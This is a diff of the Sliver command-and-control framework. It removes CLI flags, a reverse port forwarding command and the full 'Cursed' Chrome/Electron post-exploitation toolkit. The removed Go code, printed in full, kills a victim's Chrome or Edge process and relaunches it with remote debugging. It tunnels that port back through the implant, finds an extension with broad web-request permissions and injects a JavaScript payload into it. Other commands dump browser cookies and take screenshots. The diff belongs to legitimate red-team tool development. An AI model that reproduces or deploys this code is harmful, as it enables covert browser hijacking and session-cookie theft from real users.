-			f.String("c", "kerberos-config", "/etc/krb5.conf", "path to remote Kerberos config file")
-			f.String("k", "kerberos-keytab", "", "path to Kerberos keytab file")
-			f.String("r", "kerberos-realm", "", "Kerberos realm")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -1324,10 +1255,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("a", "arch", "amd64", "cpu architecture")
 			f.String("N", "name", "", "agent name")
 			f.Bool("d", "debug", false, "enable debug features")
-			f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
+			f.Bool("e", "evasion", false, "enable evasion features")
 			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
-			f.String("I", "template", "sliver", "implant code template")
-			f.Bool("E", "external-builder", false, "use an external builder")
 
 			f.String("c", "canary", "", "canary domain(s)")
 
@@ -1353,7 +1282,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
-			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 			f.String("s", "save", "", "directory/file to the binary to")
@@ -1384,10 +1312,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("a", "arch", "amd64", "cpu architecture")
 			f.String("N", "name", "", "agent name")
 			f.Bool("d", "debug", false, "enable debug features")
-			f.Bool("e", "evasion", false, "enable evasion features  (e.g. overwrite user space hooks)")
+			f.Bool("e", "evasion", false, "enable evasion features")
 			f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
-			f.String("I", "template", "sliver", "implant code template")
-			f.Bool("E", "external-builder", false, "use an external builder")
 
 			f.String("c", "canary", "", "canary domain(s)")
 
@@ -1413,7 +1339,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
-			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 			f.String("s", "save", "", "directory/file to the binary to")
@@ -1557,8 +1482,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
 			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
 
-			f.String("I", "template", "sliver", "implant code template")
-
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1568,7 +1491,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
-			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 
@@ -1623,8 +1545,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
 
-			f.String("I", "template", "sliver", "implant code template")
-
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1634,7 +1554,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("y", "limit-username", "", "limit execution to specified username")
 			f.String("z", "limit-hostname", "", "limit execution to specified hostname")
 			f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
-			f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
 
 			f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
 
@@ -2552,59 +2471,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 	})
 	con.App.AddCommand(registryCmd)
 
-	// [ Reverse Port Forwarding ] --------------------------------------------------------------
-
-	rportfwdCmd := &grumble.Command{
-		Name:     consts.RportfwdStr,
-		Help:     "reverse port forwardings",
-		LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			rportfwd.RportFwdListenersCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.SliverHelpGroup,
-	}
-	rportfwdCmd.AddCommand(&grumble.Command{
-		Name:     consts.AddStr,
-		Help:     "Add and start reverse port forwarding",
-		LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			rportfwd.StartRportFwdListenerCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-			f.String("r", "remote", "", "remote address <ip>:<port> connection is forwarded to")
-			f.String("b", "bind", "", "bind address <ip>:<port> implants listen on")
-		},
-		HelpGroup: consts.SliverWinHelpGroup,
-	})
-	rportfwdCmd.AddCommand(&grumble.Command{
-		Name:     consts.RmStr,
-		Help:     "Stop and remove reverse port forwarding",
-		LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			rportfwd.StopRportFwdListenerCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-			f.Int("i", "id", 0, "id of portfwd to remove")
-		},
-		HelpGroup: consts.SliverWinHelpGroup,
-	})
-
-	con.App.AddCommand(rportfwdCmd)
-
 	// [ Pivots ] --------------------------------------------------------------
 
 	pivotsCmd := &grumble.Command{
@@ -3397,186 +3263,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("r", "range", "sliver", "Agents range")
 		},
 	})
+
 	con.App.AddCommand(operatorCmd)
-
-	// [ Curse Commands ] ------------------------------------------------------------
-
-	cursedCmd := &grumble.Command{
-		Name:      consts.Cursed,
-		Help:      "Chrome/electron post-exploitation tool kit (∩｀-´)⊃━☆ﾟ.*･｡ﾟ",
-		LongHelp:  help.GetHelpFor([]string{consts.Cursed}),
-		HelpGroup: consts.GenericHelpGroup,
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			cursed.CursedCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-	}
-	cursedCmd.AddCommand(&grumble.Command{
-		Name:      consts.RmStr,
-		Help:      "Remove a Curse from a process",
-		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
-		HelpGroup: consts.GenericHelpGroup,
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-			f.Bool("k", "kill", false, "kill the process after removing the curse")
-		},
-		Args: func(a *grumble.Args) {
-			a.Int("bind-port", "bind port of the Cursed process to stop")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			cursed.CursedRmCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-	})
-	cursedCmd.AddCommand(&grumble.Command{
-		Name:      consts.CursedConsole,
-		Help:      "Start a JavaScript console connected to a debug target",
-		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
-		HelpGroup: consts.GenericHelpGroup,
-		Flags: func(f *grumble.Flags) {
-			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)`")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			cursed.CursedConsoleCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-	})
-	cursedCmd.AddCommand(&grumble.Command{
-		Name:      consts.CursedChrome,
-		Help:      "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
-		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
-		HelpGroup: consts.GenericHelpGroup,
-		Flags: func(f *grumble.Flags) {
-			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
-			f.Bool("R", "restore", true, "restore the user's session after process termination")
-			f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
-			f.String("u", "user-data", "", "user data directory (blank string = auto)")
-			f.String("p", "payload", "", "cursed chrome payload file path (.js)")
-			f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
-			f.Bool("H", "headless", false, "start browser process in headless mode")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Args: func(a *grumble.Args) {
-			a.StringList("args", "additional chrome cli arguments", grumble.Default([]string{}))
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			cursed.CursedChromeCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-	})
-	cursedCmd.AddCommand(&grumble.Command{
-		Name:      consts.CursedEdge,
-		Help:      "Automatically inject a Cursed Chrome payload into a remote Edge extension",
-		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
-		HelpGroup: consts.GenericHelpGroup,
-		Flags: func(f *grumble.Flags) {
-			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
-			f.Bool("R", "restore", true, "restore the user's session after process termination")
-			f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
-			f.String("u", "user-data", "", "user data directory (blank string = auto)")
-			f.String("p", "payload", "", "cursed chrome payload file path (.js)")
-			f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
-			f.Bool("H", "headless", false, "start browser process in headless mode")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Args: func(a *grumble.Args) {
-			a.StringList("args", "additional edge cli arguments", grumble.Default([]string{}))
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			cursed.CursedEdgeCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-	})
-	cursedCmd.AddCommand(&grumble.Command{
-		Name:      consts.CursedElectron,
-		Help:      "Curse a remote Electron application",
-		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
-		HelpGroup: consts.GenericHelpGroup,
-		Flags: func(f *grumble.Flags) {
-			f.String("e", "exe", "", "remote electron executable absolute path")
-			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Args: func(a *grumble.Args) {
-			a.StringList("args", "additional electron cli arguments", grumble.Default([]string{}))
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			cursed.CursedElectronCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-	})
-	cursedCmd.AddCommand(&grumble.Command{
-		Name:      consts.CursedCookies,
-		Help:      "Dump all cookies from cursed process",
-		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
-		HelpGroup: consts.GenericHelpGroup,
-		Flags: func(f *grumble.Flags) {
-			f.String("s", "save", "", "save to file")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			cursed.CursedCookiesCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-	})
-	cursedCmd.AddCommand(&grumble.Command{
-		Name:      consts.ScreenshotStr,
-		Help:      "Take a screenshot of a cursed process debug target",
-		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
-		HelpGroup: consts.GenericHelpGroup,
-		Flags: func(f *grumble.Flags) {
-			f.Int64("q", "quality", 100, "screenshot quality (1 - 100)")
-			f.String("s", "save", "", "save to file")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			cursed.CursedScreenshotCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-	})
-	con.App.AddCommand(cursedCmd)
-
-	// [ Builders ] ---------------------------------------------
-	buildersCmd := &grumble.Command{
-		Name:      consts.BuildersStr,
-		Help:      "List external builders",
-		LongHelp:  help.GetHelpFor([]string{consts.BuildersStr}),
-		HelpGroup: consts.GenericHelpGroup,
-		Flags: func(f *grumble.Flags) {
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			builders.BuildersCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-	}
-	con.App.AddCommand(buildersCmd)
 }

client/command/cursed/README.md

@@ -1,3 +0,0 @@
-# Cursed
-
-Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).

client/command/cursed/cursed-chrome.go

@@ -1,435 +0,0 @@
-package cursed
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"errors"
-	"fmt"
-	"io/ioutil"
-	"log"
-	insecureRand "math/rand"
-	"strings"
-	"time"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/core"
-	"github.com/bishopfox/sliver/client/overlord"
-	"github.com/bishopfox/sliver/client/tcpproxy"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-var (
-	ErrUserDataDirNotFound      = errors.New("could not find Chrome user data dir")
-	ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
-	ErrUnsupportedOS            = errors.New("unsupported OS")
-
-	windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
-
-	cursedChromePermissions    = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
-	cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
-)
-
-// CursedChromeCmd - Execute a .NET assembly in-memory
-func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
-	}
-
-	payloadPath := ctx.Flags.String("payload")
-	var payload []byte
-	var err error
-	if payloadPath != "" {
-		payload, err = ioutil.ReadFile(payloadPath)
-		if err != nil {
-			con.PrintErrorf("Could not read payload file: %s\n", err)
-			return
-		}
-	}
-
-	curse := avadaKedavraChrome(session, ctx, con)
-	if curse == nil {
-		return
-	}
-	if payloadPath == "" {
-		con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
-		return
-	}
-
-	con.PrintInfof("Searching for Chrome extension with all permissions ... ")
-	chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	// There is one alternative set of permissions that we can use if we don't find an extension
-	// with all the proper permissions.
-	if chromeExt == nil {
-		chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	if chromeExt != nil {
-		con.Printf("success!\n")
-		con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
-		con.PrintInfof("Injecting payload ... ")
-		ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
-		// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
-		// defer cancel()
-		_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		con.Printf("success!\n")
-	} else {
-		con.Printf("failure!\n")
-		con.PrintInfof("No viable Chrome extensions were found ☹️\n")
-	}
-}
-
-func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
-	chromeProcess, err := getChromeProcess(session, ctx, con)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil
-	}
-	if chromeProcess != nil {
-		con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
-		con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
-		con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
-		con.Printf("\n")
-		confirm := false
-		err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return nil
-		}
-		if !confirm {
-			con.PrintErrorf("User cancel\n")
-			return nil
-		}
-		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
-			Request: con.ActiveTarget.Request(ctx),
-			Pid:     chromeProcess.GetPid(),
-		})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return nil
-		}
-		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
-			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
-			return nil
-		}
-	}
-	curse, err := startCursedChromeProcess(false, session, ctx, con)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil
-	}
-	return curse
-}
-
-func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
-	name := "Chrome"
-	if isEdge {
-		name = "Edge"
-	}
-
-	con.PrintInfof("Finding %s executable path ... ", name)
-	chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
-	if err != nil {
-		con.Printf("failure!\n")
-		return nil, err
-	}
-	con.Printf("success!\n")
-	con.PrintInfof("Finding %s user data directory ... ", name)
-	chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
-	if err != nil {
-		con.Printf("failure!\n")
-		return nil, err
-	}
-	con.Printf("success!\n")
-
-	con.PrintInfof("Starting %s process ... ", name)
-	debugPort := getRemoteDebuggerPort(ctx)
-	args := []string{
-		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
-	}
-	if chromeUserDataDir != "" {
-		args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
-	}
-	if ctx.Flags.Bool("restore") {
-		args = append(args, "--restore-last-session")
-	}
-	if ctx.Flags.Bool("keep-alive") {
-		args = append(args, "--keep-alive-for-test")
-	}
-	if ctx.Flags.Bool("headless") {
-		args = append(args, "--headless")
-	}
-	additionalArgs := ctx.Args.StringList("args")
-	if len(additionalArgs) > 0 {
-		args = append(args, additionalArgs...)
-	}
-
-	// Execute the Chrome process with the extra flags
-	// TODO: PPID spoofing, etc.
-	chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
-		Request: con.ActiveTarget.Request(ctx),
-		Path:    chromeExePath,
-		Args:    args,
-		Output:  false,
-	})
-	if err != nil {
-		con.Printf("failure!\n")
-		return nil, err
-	}
-	con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
-
-	con.PrintInfof("Waiting for %s process to initialize ... ", name)
-	time.Sleep(2 * time.Second)
-
-	bindPort := insecureRand.Intn(10000) + 40000
-	bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
-
-	remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
-
-	tcpProxy := &tcpproxy.Proxy{}
-	channelProxy := &core.ChannelProxy{
-		Rpc:             con.Rpc,
-		Session:         session,
-		RemoteAddr:      remoteAddr,
-		BindAddr:        bindAddr,
-		KeepAlivePeriod: 60 * time.Second,
-		DialTimeout:     30 * time.Second,
-	}
-	tcpProxy.AddRoute(bindAddr, channelProxy)
-	portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
-
-	curse := &core.CursedProcess{
-		SessionID:         session.ID,
-		PID:               chromeExec.GetPid(),
-		PortFwd:           portFwd,
-		BindTCPPort:       bindPort,
-		Platform:          session.GetOS(),
-		ExePath:           chromeExePath,
-		ChromeUserDataDir: chromeUserDataDir,
-	}
-	core.CursedProcesses.Store(bindPort, curse)
-	go func() {
-		err := tcpProxy.Run()
-		if err != nil {
-			log.Printf("Proxy error %s", err)
-		}
-		core.CursedProcesses.Delete(bindPort)
-	}()
-
-	con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
-
-	return curse, nil
-}
-
-func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
-	userDataFlag := ctx.Flags.String("user-data")
-	if userDataFlag != "" {
-		return userDataFlag, nil
-	}
-
-	switch session.GetOS() {
-
-	case "windows":
-		username := session.GetUsername()
-		if strings.Contains(username, "\\") {
-			username = strings.Split(username, "\\")[1]
-		}
-		for _, driveLetter := range windowsDriveLetters {
-			userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
-			if isEdge {
-				userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
-			}
-			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-				Request: con.ActiveTarget.Request(ctx),
-				Path:    userDataDir,
-			})
-			if err != nil {
-				return "", err
-			}
-			if ls.GetExists() {
-				return userDataDir, nil
-			}
-		}
-		return "", ErrUserDataDirNotFound
-
-	case "darwin":
-		userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
-		if isEdge {
-			userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
-		}
-		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-			Request: con.ActiveTarget.Request(ctx),
-			Path:    userDataDir,
-		})
-		if err != nil {
-			return "", err
-		}
-		if ls.GetExists() {
-			return userDataDir, nil
-		}
-		return "", ErrUserDataDirNotFound
-
-	default:
-		return "", ErrUnsupportedOS
-	}
-}
-
-func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
-	exeFlag := ctx.Flags.String("exe")
-	if exeFlag != "" {
-		return exeFlag, nil
-	}
-
-	switch session.GetOS() {
-
-	case "windows":
-		chromeWindowsPaths := []string{
-			"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
-			"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
-			"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
-			"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
-		}
-		if isEdge {
-			chromeWindowsPaths = []string{
-				"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
-				"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
-				"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
-			}
-		}
-		username := session.GetUsername()
-		if strings.Contains(username, "\\") {
-			username = strings.Split(username, "\\")[1]
-		}
-		for _, driveLetter := range windowsDriveLetters {
-			for _, chromePath := range chromeWindowsPaths {
-				chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
-				chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
-				ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-					Request: con.ActiveTarget.Request(ctx),
-					Path:    chromeExecutablePath,
-				})
-				if err != nil {
-					return "", err
-				}
-				if ls.GetExists() {
-					return chromeExecutablePath, nil
-				}
-			}
-		}
-		return "", ErrChromeExecutableNotFound
-
-	case "darwin":
-		// AFAIK Chrome only installs to this path on macOS
-		defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
-		if isEdge {
-			defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
-		}
-		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-			Request: con.ActiveTarget.Request(ctx),
-			Path:    defaultChromePath,
-		})
-		if err != nil {
-			return "", err
-		}
-		if ls.GetExists() {
-			return defaultChromePath, nil
-		}
-		return "", ErrChromeExecutableNotFound
-
-	case "linux":
-		chromeLinuxPaths := []string{
-			"/usr/bin/google-chrome",
-			"/usr/bin/chromium-browser",
-			"/usr/local/bin/google-chrome",
-			"/usr/local/bin/chromium-browser",
-		}
-		if isEdge {
-			chromeLinuxPaths = []string{
-				"/usr/bin/microsoft-edge",
-				"/usr/local/bin/microsoft-edge",
-			}
-		}
-		for _, chromePath := range chromeLinuxPaths {
-			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-				Request: con.ActiveTarget.Request(ctx),
-				Path:    chromePath,
-			})
-			if err != nil {
-				return "", err
-			}
-			if ls.GetExists() {
-				return chromePath, nil
-			}
-		}
-		return "", ErrChromeExecutableNotFound
-
-	default:
-		return "", ErrUnsupportedOS
-	}
-}
-
-func isChromeProcess(executable string) bool {
-	var chromeProcessNames = []string{
-		"chrome",           // Linux
-		"google-chrome",    // Linux
-		"chromium-browser", // Linux
-		"chrome.exe",       // Windows
-		"Google Chrome",    // Darwin
-	}
-	for _, suffix := range chromeProcessNames {
-		if strings.HasSuffix(executable, suffix) {
-			return true
-		}
-	}
-	return false
-}
-
-func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
-	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-		Request: con.ActiveTarget.Request(ctx),
-	})
-	if err != nil {
-		return nil, err
-	}
-	for _, process := range ps.Processes {
-		if process.GetOwner() != session.GetUsername() {
-			continue
-		}
-		if isChromeProcess(process.GetExecutable()) {
-			return process, nil
-		}
-	}
-	return nil, nil
-}

client/command/cursed/cursed-console.go

@@ -1,183 +0,0 @@
-package cursed
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bytes"
-	"fmt"
-	"io"
-	"io/ioutil"
-	"strings"
-	"text/tabwriter"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/core"
-	"github.com/bishopfox/sliver/client/overlord"
-	"github.com/desertbit/grumble"
-	"github.com/desertbit/readline"
-)
-
-func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	curse := selectCursedProcess(con)
-	if curse == nil {
-		return
-	}
-	con.Println()
-	con.PrintInfof("Querying debug targets ... ")
-	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
-	con.Printf(console.Clearln + "\r")
-	if err != nil {
-		con.PrintErrorf("Failed to query debug targets: %s\n", err)
-		return
-	}
-	target := selectDebugTarget(targets, con)
-	if target == nil {
-		return
-	}
-	con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
-	startCursedConsole(curse, true, target, con)
-}
-
-func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
-	if len(targets) < 1 {
-		con.PrintErrorf("No debug targets\n")
-		return nil
-	}
-
-	id2target := map[string]overlord.ChromeDebugTarget{}
-	outputBuf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-	for _, target := range targets {
-		fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
-		id2target[target.ID] = target
-	}
-	table.Flush()
